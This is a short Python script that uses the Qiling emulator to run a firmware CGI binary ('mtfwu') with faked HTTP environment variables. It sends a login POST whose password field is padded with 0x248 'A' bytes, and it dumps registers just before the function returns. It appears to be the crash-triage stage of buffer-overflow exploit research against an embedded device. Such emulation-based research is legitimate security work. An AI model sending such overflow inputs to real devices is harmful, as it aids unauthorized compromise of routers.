from qiling import *

def my_syscall_sysinfo(ql, sysinfo_info, *args, **kwargs):
    ql.mem.write(sysinfo_info, b"AAAA") # uptime
    regreturn = 0
    ql.nprint("sysinfo(0x%x) = %d" % (sysinfo_info, regreturn))
    ql.os.definesyscall_return(regreturn)

# dump all registers
def dump_reg(ql, *args, **kwargs):
    for idx, val in ql.reg.save().items():
        if not isinstance(idx, int):
            print(idx, ":", hex(val))
            
    breakpoint()

class Fake_stdin:
    def read(self, size, *args, **kwargs):
        return b'ACTION=login&LOGINPASSWORD=' + b'A' * 0x248

    def fileno(self, *args, **kwargs):
        return 0

if __name__ == "__main__":

    envs = {
            "REQUEST_METHOD": "POST",
            "REQUEST_URI": "/MTFWU",
            "CONTENT_TYPE": "application/x-www-form-urlencoded",
            "HTTP_MTFWU_ACT": "Login",
            "HTTP_COOKIE": "uid=AAAA",
            "CONTENT_LENGTH": str(27+0x248), 
            }

    ql = Qiling(["squashfs-root/usr/sbin/mtfwu"], "squashfs-root", 
                output="default",
                env=envs,           # setting environment variables 
                stdin=Fake_stdin()) # hijack stdin with Fake_stdin
                
    ql.set_syscall("sysinfo", my_syscall_sysinfo)  # syscall hook for sysinfo
    ql.set_syscall("_newselect", lambda *_: None)  # hook syscall _newselect with anonymous NOP function to avoid manual input requirement
    ql.hook_address(dump_reg, 0x41db40)            # breakpoint before return and dump all register
    ql.run()
